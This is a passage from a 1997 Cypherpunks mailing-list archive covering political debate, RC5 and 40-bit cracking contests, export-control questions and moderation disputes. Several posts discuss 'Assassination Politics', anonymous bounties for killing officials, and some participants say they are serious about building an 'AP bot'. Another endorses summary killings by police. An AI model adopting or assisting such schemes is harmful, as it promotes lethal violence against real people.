> relatively unimportant, it can always be replaced.

Try doing it without the hardware and software. There is a distinction, you
apparently don't make, between the content and the methodology of
distribution. Without the methodology there is no content. Ideas are cheap,
distributing and trying them out (ie great social experiments) is
expensive. This is why it is absolutely critical in a democratic society
that those who own the means of distribution be left to their own means with
minimal regulation based on the ideal 'if their actions do not harm another
or their property without their prior consent' it isn't anyones business
what they are doing with their distribution mechanisms.

Whether you like it or not, each and every one of us have a responsibility
to every other person on the planet. That responsibility is to ensure that
our goals and desires don't infringe their goals and desires without their
prior consent, this is a fundamenal responsibility of government. As hard
as it is for many social scientist to accept privacy is a fundamental
requirement for a equitable government. I express this simply by,
"Democracy works not because of compromise but rather the refusal to
 compromise."

> If you start from such a state and property centered ideology perhaps.
> I'm a philosophical anarchist and I don't consider the state to have
> "rights" over its "subjects", nor do I believe in the pure ideology of
> property you do.

The 'state' is its subjects and the rules that are enacted to regulate their
behaviour. In case it hasn't occured to you, even the regulators are
subjects, and in the case of clearly oppressive societies victims as much as
those they subjugate. It isn't some etherial entity. Only you, and those that
proscribe to your views, are claiming that states are some homogenous (or
should be) set of rules and actions.

The way you speak of 'state' and 'citizen' implies some clearly observable
demarcation, it don't exist.

This is the problem with EVERY form of government except a democracy, it
assumes that people are cogs in a machine. If it satisfies one it will
satisfy all. A democracy recognizes this difference in what people value
and the goals they desire as a fundamental distinction (ie. life, liberty,
and the pursuit of happiness) worth protecting. I would suggest you read the
9th and 10th Amendments to the Constitution of the US and consider long and
hard the ramifications of the (currently unenforced) limitations of
government authority. Even European governments might learn something.

> Its worth noting that the origin of property is theft. In the case of the
> controllers of China literally so since they stole most of their "property"
> from the previous rulers.

Malarky. The origin of property is at least 300,000 years old, potentialy
over a Million, and much older than China could ever hope to claim and most
definitely NOT based on any concept of government. Property comes from small
family clans of people who chose to move from a hunter-gather society to one
of agriculture. To do that means that you have to lay out fields or other
areas for cultivation. Initialy these groups moved around because the fields
would go fallow. At some point some bright folks, either by accident or
intentional experimentation (probably both), found that rotating crops would
allow them to stay in one place. This allowed families to grow. In very
fertile areas this caused population explosions as individual clans grew and
began to interact with other local clans. At some critical size, undetermined
as best as I can determine, this allows specialization of effort. This
specialization of effort is what leads to governments as we recognize them.

When property was 'invented' there were no rulers because there was no
larger human organization than a familial tribe. I personaly believe that
the concept of 'property' is a fundamental aspect of human psychology and
not any structures they might impliment to express that need. I am as
certain as it is possible to be that a Cro-magnon cave man felt that his
throwing stick was 'his'. If not why did they bury their dead with flowers
and other objects that apparently belonged to the person in life? It sounds
like, by extrapolation, that your assertion is that they had government in
the modern sense because of this. An assertion I find laughable at best.

> I believe that the relationship between a state and individual is
> a much more complex one than the slavish subjection model
> you propose. In this I am in agreement with practically every
> philosopher since Locke.

But I don't propose a slavish subject model, you keep trying to make it seem
like that is what I am proposing. Let me make it clear, I utterly reject ANY
model that makes distinctions between those who rule and those who are
ruled.

> It is true that there is the convenience of the state as agency but
> the question is on whose behalf that agency is exercised. 

Nobodies. The state is a means to regulate resources and commerce, anything
else is a misunderstanding of what a state is.

> I see no reason why I should not meddle in the affairs of states
> I'm not a 'subject" of. 

Then don't bitch when they meddle in your affairs. I am shure Saddam Hussein
(who I personaly believe is a piece of shit) will find it reassuring that
you won't raise a complaint next time he decides some place in Europe would
be a nice place to hang out with his armies.

> They are allowed

Allowed, hell. They pay for the privilege just like everyone else. Despite
what you might believe the Internet is not a right or something anyone has a
right to.

> to connect their machinery to the Internet so long 
> as they are prepared to accept the Internet's ethic.

There is no Internet ethic just as there is no community standard. It is a
convenient concept for intellectuals to pass off utterly senseless theories
and explanations, and in many cases justify subjugation and regulation for
no other reason than their own emotional and economic comfort.

> As a citizen of Europe I disagree. I believe that the narrow and
> parochial attitude of the French province breaches undertakings in the
> Treaty of Rome and under the European declaration of human rights.

Absolutely. The difference in our approaches is that you feel that you have
found a solution that satisfies you and therefore it should satisfy
everyone. With this I disagree completely. People are simply too diverse to
lump into the categories that you would like. If the French have a model
that won't work, let them figure it out on their own.

> France is not a sovereign state and does not have the right to
> pass laws that infringe on the rights granted to European citizens
> as a whole.

I suspect most French people would have something contrary to say about
that.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:55:50 -0800 (PST)
To: Austin Cypherpunks <austin-cpunks@einstein.ssz.com>
Subject: Physical meet, Sat. Feb. 15 - not 18.
Message-ID: <199701290255.SAA14900@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

I apparently didn't pay much attention to what month I was looking at when I
made the initial meeting. Turns out the 18th is a Tuesday obviously a day
that few of us can make. As a result I looked at the 'real' Feb. calendar
and the meeting date is as follows:


Saturday, Feb. 15, 1997
6pm.
HEB Central Market Restaurant
Look for the red 2nd. ed. Applied Cryptography book
For more info email 'austin-cpunks@ssz.com'

Also invited to this meet are members of the mailing lists:

Experimental Science Instrumentation

Advanced Computer Experimentation


Sorry for the confusion.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:56:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: CNN: Court ok's College control of Internet access
Message-ID: <199701290256.SAA14916@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Note: Heavily edited.

Forwarded message:

>                COURT SAYS COLLEGES CAN RESTRICT INTERNET ACCESS
>                                        
>      
>      January 28, 1997
>      Web posted at: 1:35 p.m. EST
>      
>      NORMAN, Oklahoma (CNN) -- A U.S. District Court in Oklahoma has
>      ruled universities have the right to limit access to explicit
>      material on the Internet.
>      
>      A federal judge ruled University of Oklahoma president David Boren,
>      a former U.S. senator, has every right to determine what sites
>      students and faculty can view while on the campus Internet system.
>      
>      Boren was sued by University professor, Bill Loving, who claimed his
>      First Amendment rights were being infringed upon.
>      
>      The court ruled against Loving, also an attorney, saying his
>      constitutional rights were not violated and that he is not entitled
>      to injunctive relief.
>      
>      "I am certainly pleased by the judge's decision," Boren said. "The
>      university did its best to strike a careful balance in order to
>      protect legitimate academic and intellectual freedom while at the
>      same time assuring that the university not act as a distributor of
>      obscene material, which is not protected by the First Amendment."  
>      rule





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 28 Jan 1997 22:11:08 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <199701290611.WAA20641@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>In our society, which, if I remember correctly, 10% of the population
>control 90% of the wealth, AP would only lead to 10% of the population being
>able to screw the remaining 90%.  At least as it is, it takes a simple
>majority.
>
>As for the murder of the rich, here is a scenerio.
>
>A collection of poor pool their capitol to have a tyrant killed.
>The tyrant assembles a counter-wager saying that anyone able to prove thier
>ability to kill him without harming him, and who can show they got through
>will get 110% of the poor's bid.
>The household is told that a standing bounty has been placed with a
>collection of individuals, on the head of the trigger man involved in the
>tyrants murder.
>The poor can not hope to match the tyrants bid as they only have 10% of the
>wealth, the household knows that thier participation in an attempt on the
>tyrant will get them killed.  Even if the attempt was successful.
>The people from the outside who would benefit from the bounty benefit more
>by taking the tyrants offer and then trying again, i.e. tiger teams.

I think a hole in your thinking is to assume that the assasins have no
motive other than financial gain.  I would submit that there are those that
have the skills, training and a political agenda coherent with the
wagerers, lacking only the financial incentive to make the risks
acceptable.  These wetworkers won't consider accepting the bribe of the
rich/powerful

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Toth <mst114@psu.edu>
Date: Tue, 28 Jan 1997 18:57:30 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
Message-ID: <199701290257.SAA14988@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


        MIT is one the best schools in the country for C.S.
        Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Tue, 28 Jan 1997 20:12:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290412.UAA17890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phill" wrote:

>I am a cyber-revolutionary and the world has bought into
>the chaos of our revolution. I never intended the Web to be a tool
>for confirming the present social order which is manifestly 
>corrupt.

I am woman, hear me roar
in numbers too big to ignore

As R. J. Wagner once said, "Koo koo, baby."

Hey, I hope that the above is construed as neither a flame nor as "off topic".

May I additionally congratulate Nurdane on her birthday?

Yo "Phill"! When's your cyber-revolutionary birthday? Maybe we can all chip
in to buy you a biscuit. (See, in England, they say, "That certainly takes
the biscuit". Eh, "Phill"?) BTW, "Phill", did you want to make good on your
bet to Sandy at this time?

Ain't C-punks fun nowadays?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Tue, 28 Jan 1997 22:11:11 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701290611.WAA20647@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	jim bell

[ on discussing AP on the cpunk list]:

Because it's on-topic, that's why.  Because it's not merely a list
concerning METHODS of encryption, it's also about the _reasons_ for using
encryption, as well as the _effects_ (both small-scale and large-scale) of
using encryption.
--

Well, you're right, this is probably a good place to discuss it, so all the 
NSA spooks will know what some of youall are up to.


[ why the Iraquis haven't thought of applying it themselves - to Saddam]:

As for why the ordinary Iraquis didn't think of it...  Or the ordinary
people of any or every country, as well.  Why didn't THEY think of it?
--

I was thinking the reason that most people don't think of applying AP is 
because they're normal.   It is not the first thought of a normal person to 
kill another human, just because they've been offended - even severely.  It 
takes an extraordinary circumstance to motivate one to such destruction, 
especially if there are a thousand armed troops supporting the object of 
the attempt.

But in fact I do think that many in Iraq (whoever they were) did consider 
it seriously and have attempted to get rid of Saddam.  I heard on a TV 
special that he has survived about 5 or so attempts on his life.   This 
means that not only was he not killed, but he didn't learn anything from it 
and it created no fear in him about continuing to rule as a dictator.   It 
probably was more discouraging to his enemies than himself.


[  on why the Mafia hasn't achieved a rational society by the use of AP]:

In fact, apparently, they function diametrically opposed to
the AP system.  A complete AP-like system is structured (via encryption,
etc) to totally avoid anybody having to trust anyone else. Each participant 
is kept honest mathematically.  Nobody can inform on anyone else, because
nobody knows anyone else's identity.
--

There are extraordinary times when people, even though they be of sound 
mind and body, are moved to band together and kill another person.   There 
are a few occurances in history that anyone can immediately think of as 
examples.   But this is in an *extra-ordinary* situation.   A society of 
people - where "society" indicates their desire to live in each other's 
company, associating openly and developing working relations - would not 
really be a "society", would not last as an association of people, if they 
were expecting extreme, destructive reactions from others in response to 
any degree of perceived insult from themselves.   Therefore, although I can 
appreciate the need to be able to deal with political tyrants by just 
killing them, and currently encryption and anonymity makes it possible to 
do this "blindly" without anyone knowing each other, I can't see where 
implementing this method of relating to others, in a system of daily 
operating procedures, would do better than to create an atmosphere of total 
paranoia and psychological breakdowns.

I think it is very important that individuals be able to defend themselves 
- from anyone.  It is unfortunate that citizen-units are not typically 
instructed in the methods of self-defense, nor especially allowed to 
practice it without "official authorization".   If we were better able to 
do this, the fact that anyone anywhere could immediately deal with threats 
to their existence would in itself be an impressive "deterrent", 
contributing to the general welfare and peace.

Be that as it may, although the capacities of encryption and the internet 
make anonymous AP possible, the drive of human intelligence is toward 
knowledge, towards knowing the reasons for things.  It would wish to know 
what is right or wrong, it  would wish to know how to be the most accurate, 
it would wish to know about cause and effect, it would wish to know how to 
be in command of itself, normally.    If someone does something "wrong" 
which makes another unhappy, normally they will wish to know what it was 
and how to correct it.   If every time someone made a mistake they got 
punished, without the opportunity to understand the error and without the 
opportunity to make corrections, they would be a psychological wreck.   If 
every time someone made mistake they got assassinated, not only would no 
one wish to do anything for fear of losing their lives, creating a 
"society" of timid sheep, there probably wouldn't be many people remaining 
to savor the triumph of being superior.

AP is just another form of war.   You can bet that if assassinations 
increased a hundred fold as a result of your method, not only "governments" 
but some very bright people would get together to figure out a defense 
against it, for they also would be "at risk".

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Tue, 28 Jan 1997 22:10:43 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701290610.WAA20606@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Dr.Dimitri Vulis

The Mafia in the U.S. doesn't work. The sicilian Mafia is very successful at
assassinating any public officials that fucks with it.
............................................................


What do you suppose they would do if someone like you tried to break up their meetings?   

 :>)

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 22:28:01 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <199701290628.WAA20945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM 1/28/97 -0500, "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
wrote:
>>That's it?  The system collapsed because the guards left their posts?
>>And no mutiny charges?  Incredible.
>I was there.
>The collapse of East Germany was quite spectacular. There
>was at most three months of warning. First there was a series
>of sit ins at foreign embassies, then a migration of large 
>numbers of people in their twenties within the eastern block.

In particular, people started leaving East Germany by way of
still-somewhat-communist Hungary (where the Germans let them go)
and from there into Austria (where the Hungarians let them go),
and it was getting to be tens of thousands of people per month.
Once a system like that starts leaking, it's hard to contain.

(ObCypherpunksContent: if substantial amounts of tax money starts
escaping into Cypherspace, it's not easy to maintain a modern
CorporatistWelfare-for-Bureaucrats state either.....)

>Unfortunately US commentators tend to see everything in terms of
>US cultural norms, many of which were explicitly rejected by the
>protestors. The East Germans wanted West German affluence, they
>wanted to be part of Western Europe. They were certainly not 
>responding to US military spending as right wing theorists claim, 
>nor was the economy collapsing because of the arms race, it
>was collapsing because of the costs of a totalitarian state and
>the incompatibility of that state with modern industrial 
>organization.

The US right wing does argue that the Soviets couldn't afford to run
a military industrial complex big enough to outrace theirs,
and that it was a major contributor to the economic collapse
(which it probably was.)  Of course, they also consider that
Communism isn't an economically viable system, ignoring the similar
problems with the Good Old American Patriotic Military-Industrial-Complex,
and somehow think that now that there aren't any Russian Commies
to kick around any more that we need a bigger army, as well as a
supply of easily-kicked-around enemies.  Unfortunately, I suspect that
sometime soon they'll remember that there still are a billion 
Commies left, and that Oceania has always been at war with EastAsia.
Hopefully the Communist system in China will have fallen apart by then
to the extent that it can admit to being a semi-capitalist kleptocracy
instead of pretending to still be in charge of anything.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 28 Jan 1997 18:56:00 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Best Computer School?
Message-ID: <199701290256.SAA14915@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
>This is really exagerating.  You do not need a 4.0, 1600, etc. to be
>admitted to MIT.  Sure, you need good grades, but a 3.6 average and
>1350-1400 SAT scores is perfectly adequate to be admitted to MIT.

I disagree and can speak from experience.  I was denied admission to MIT
even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
was on several academic teams, sang in Chorus, acted and stage managed in
Drama, and played Tennis.

The only thing I didn't have that the next MIT applicant had was money.  I
made the mistake of letting them know that I was dirt poor and would need
full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
Russian front!"

>For what it's worth, I wanted to go to MIT my sophomore year in high
>school, too

Lucky you.  It had been a dream of mine since I was an annoying
overachiever of 6.  Sux to be white trash, I guess.

MIT may be a great school, but they tend to be snooty assholes for the most
part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
assholes", I'm just saying that I've yet to meet one that wasn't.)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"He who knows, does not speak.
He who speaks, does not know."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:26:20 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701290626.WAA20920@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > aga wrote:
> > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > Igor Chudov @ home wrote:
> > > > > Dale Thorn wrote:
> >
> > > > But seriously, I was just telling the folks over the weekend, if I
> > > > had my hand on the button, a lot of people would die very quickly.
> > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > suffice to be immediately terminated.
> 
> No trial, huh?

Good question.  The law we have right now already assumes that there
are situations where a criminal will not go peacefully, if at all.
In some countries (years ago?) such as England, bobbies were known
to not carry firearms for ordinary street duty.  Am I right?  But
here in the USA, that would be unthinkable.

So my proposal doesn't eliminate the responsibility portion of law
enforcement.  I'd say, if a target were eliminated thru negligence,
malfeasance, or other wrongdoing under "color of law" or whatever,
let the courts handle that as they do now.

My suggestion would give the law enforcers the ability to dispense
the first level of justice expeditiously, which they cannot accomplish
now due to all of the red tape and the corrupt legal system (lawyers
specialize in getting chronic offenders off, particularly "traffic"
offenses).  By transferring a major portion of the bureaucracy to
the pencil pushers, we can free up the street cops to do what they
do best, namely bust or eliminate criminals.

I dare say that the downside of this is much less pleasant than the
virtual anarchy (in the bad sense) we suffer now.  If the police get
out of control, A.P. will arrive just in time to plug a few of those
holes, so to speak.  Ideally, future robotics should be able to
provide something like Gort (sp?) to take the place of human officers,
given advances in the kind of pattern matching needed to deter
aggression and the like.  Those who don't make it past the robots,
well, the rest of us can learn to behave, and we'll be much better
off when we do.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:26:17 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701290626.WAA20919@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Dale Thorn writes:
> > I heard years ago that approximately 10% of the people on the street
> > are certifiably mentally unstable.

> This depends on your standads of "unstable". I'll bet genetic
> diversity is now much more of a factor then when those standards were
> written.

> > Multiply that by two at least for
> > Los Angeles (suburban L.A., actually, Hollywood for example is much
> > safer than Altadena or Westlake Village).

> I beg to differ. Which parts of Altadena and Hollywood are you
> referring to?

I used Altadena as a generic example of a suburb, although Camarillo
would be even better, since it's not so cosmopolitan as most of the
'burbs right next to L.A.  Hollywood (to me) is an ideal example of
inner city, for a lot of reasons.  I love the place, dirt and all.

BTW, I was *not* referring to walking around, I was comparing driving,
mainly on the freeway.  Statistics have come out in major papers that
back my experience up 100%.  I drive from P.C.H. @ Seal Beach Blvd.
to the Ventura County beach area every weekend, and back again.  I
used to go down the 101 to the 405, then south on the 405 to Seal
Beach Blvd.  Nowadays I take the 101 all the way into town to the 5,
down the 5 to the 605, and down the 605 to 7th Street in Long Beach.

It's 3 miles further thru town, and 20 minutes slower on average,
but I get only about one psycho per 20 round trips now, as compared
to at least one per trip on the 101-405 combo when I went that way.

The difference was striking, and I can only surmise that rednecks and
their ilk are more fearful of attacking other people in the inner city
as opposed to the outlying regions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Garrard, David <David.Garrard@EXCH.EDS.com>
Date: Tue, 28 Jan 1997 18:55:44 -0800 (PST)
To: "IMCEAX400-c=US+3Ba=+20+3Bp=EDS+3Bo=EXAU01+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@EXCH.EDS.com>
Subject: Recovery of Windows NT administrator password
Message-ID: <199701290255.SAA14886@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


An inherited Windows NT system that I am involved with has a lost 
administrator password ( no one no longer knows what it is ). Can 
anyone point me to software products/companies that can help in the 
recovery. Given Microsoft's dismal record on  security I am sure there 
must be solutions to this dilemma. Any help would be greatly 
appreciated.

Best Regards


David L. Garrard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Fiero <rfiero@pophost.com>
Date: Tue, 28 Jan 1997 22:27:52 -0800 (PST)
To: Sandy Sandfort <paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701290627.WAA20939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Get it straight Sandy Sandfort. I'm not in your home. I am in my home and I
will observe my priorities, not your's.

Sandy Sandfort writes:
> . . . . . . . . . . . . . . . . . . . . . . Mail lists are far
>more like private homes, businesses or clubs.  When you are a
>guest there, you are subject to their rules of behavior.

If Dr. Vulis was pushing the envelope in list-abuse as a multi-stage social
experiment, Sandy Sandfort has surpassed him by far. In part I refer to a
Sandy Sandfort reply to a criticism made by Paul Bradley. The reply was
made public two hours before the criticism was. This is not moderation. It
is manipulation and interference. Since I have a low tolerance for
self-serving pedantry, I never would have noticed the criticism if it had
not been preceded by the reply.

In the reply, Sandy Sandfort employs the name-calling "sophist" and
"hypocrite." Also in the reply is the Freudian slip or obscene proposition:
> . . . . . . . . . . . . . . . . . . . .  "Force," my ass. 
Shouldn't this have gone to cypherpunks-flames?

One might wonder just what the rules of proper decorum are.

-- Richard Fiero





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 22:26:11 -0800 (PST)
To: Ian Goldberg <caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199701290626.WAA20916@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
before the www.rsa.com contest status web page is updated?  :-)

Or how long before someone in the government starts talking about
how 56 bits takes 65,000 times as long to solve as 40 bits, 
which is 26 years for a whole building full of computers,
and even 48 bits ought to take a month and a half for a whole
building full of computers (or supercomputers, if they hype it up....)?

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch> wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
How many machines were you using, on average?



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 29 Jan 1997 07:13:11 -0800 (PST)
To: Ian Goldberg <caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199701291513.HAA03689@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
before the www.rsa.com contest status web page is updated?  :-)

Or how long before someone in the government starts talking about
how 56 bits takes 65,000 times as long to solve as 40 bits, 
which is 26 years for a whole building full of computers,
and even 48 bits ought to take a month and a half for a whole
building full of computers (or supercomputers, if they hype it up....)?

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch> wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
How many machines were you using, on average?



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 28 Jan 1997 22:40:46 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701290640.WAA21235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997 stewarts@ix.netcom.com wrote:
[snip]
> >EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY
> >
> >January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, 
> >announced today that he had successfully cracked RSA Data Security 
> >Inc.'s 40-bit challenge cipher in just under 3.5 hours.
> ....
> >Goldberg used UC Berkeley's Network of Workstations (known as the NOW) 
> >to harness the computational resources of about 250 idle machines.  
> >This allowed him to test 100 billion possible "keys" per hour -- 
> 
Good grief...I just remembered that this challenge started today when I 
read this letter.  A question - how does DES differ from the RC5 cyphers 
that are also up for breaking?  Where can I find some software to use on 
these?  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rosen <mrosen@peganet.com>
Date: Tue, 28 Jan 1997 19:55:54 -0800 (PST)
To: cryptography@c2.net
Subject: More Circumventing the ITAR
Message-ID: <199701290355.TAA17298@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
about "unrestricted FTP sites." My program, Kremlin, is available for
download at the web page below. On my web page, I have some stuff in bold
print that informs about the ITAR and tells people to go away if they're
not from the US or Canada. Does this count as an unrestricted FTP site?
It's not all that much different from what MIT has up for PGP.
	Also, back to the question of registration numbers. A registration number
is just a string of letters and numbers, and is essentially the same as a
friendly letter; it contains no cryptographic code. For all anyone knows, I
could just be charging for pseudo-random numbers, again, nothing of
cryptographic significance. Is it illegal for me to mail someone outside of
the US or Canada a registration code? Thanks for any help.


Mark Rosen
FireSoft - http://www.geocities.com/SiliconValley/Pines/2690
Mark Eats AOL - http://www.geocities.com/TimesSquare/6660





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rosen <mrosen@peganet.com>
Date: Wed, 29 Jan 1997 07:10:50 -0800 (PST)
To: cryptography@c2.net
Subject: More Circumventing the ITAR
Message-ID: <199701291510.HAA03591@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
about "unrestricted FTP sites." My program, Kremlin, is available for
download at the web page below. On my web page, I have some stuff in bold
print that informs about the ITAR and tells people to go away if they're
not from the US or Canada. Does this count as an unrestricted FTP site?
It's not all that much different from what MIT has up for PGP.
	Also, back to the question of registration numbers. A registration number
is just a string of letters and numbers, and is essentially the same as a
friendly letter; it contains no cryptographic code. For all anyone knows, I
could just be charging for pseudo-random numbers, again, nothing of
cryptographic significance. Is it illegal for me to mail someone outside of
the US or Canada a registration code? Thanks for any help.


Mark Rosen
FireSoft - http://www.geocities.com/SiliconValley/Pines/2690
Mark Eats AOL - http://www.geocities.com/TimesSquare/6660





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 28 Jan 1997 22:10:50 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701290610.WAA20615@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> 
> >jim bell wrote:
> >>
> >> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >> >From:        jim bell (in response to Dimitri Vulis')
> >> >Look, I've proposed what I consider to be a remarkably consistent method to
> >> >prevent the kind of political tyranny that you criticize, and I don't see
> >> >any recognition of this fact.
> >> >........................................................
> >> >
> >> >1) Jim, why do you insist on discussing this on an forum for encryption?
> >>
> >> Because it's on-topic, that's why.  Because it's not merely a list
> >> concerning METHODS of encryption, it's also about the _reasons_ for using
> >> encryption, as well as the _effects_ (both small-scale and large-scale) of
> >> using encryption.
> >
> >Actually AP is one of the more interesting topics here. I think that there
> >is a clear need for an AP bot.
> >
> >Do you feel like writing it?
> >
> >        - Igor.
> 
> Jim's all talk, I on the other hand am serious.  Did you receive my Monday
> e-mail?
> 

yes, and found it interesting.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:56:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trolling with Dale (a bite)
Message-ID: <199701290656.WAA21792@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: overview.htm (fwd)
> Dale Thorn hopelessly wrote:
> >Let's be realistic about how AIDS is acquired.

> Yes, Dale, let's. Dale makes an excellent case for having a moderated
> list right here. What do his nutball beyond-the-fringe remarks have
> to do with crypto, privacy, security? Cripes, in the old days even an
> _accurate_ off-list remark would open a blast furnace of condemnation,
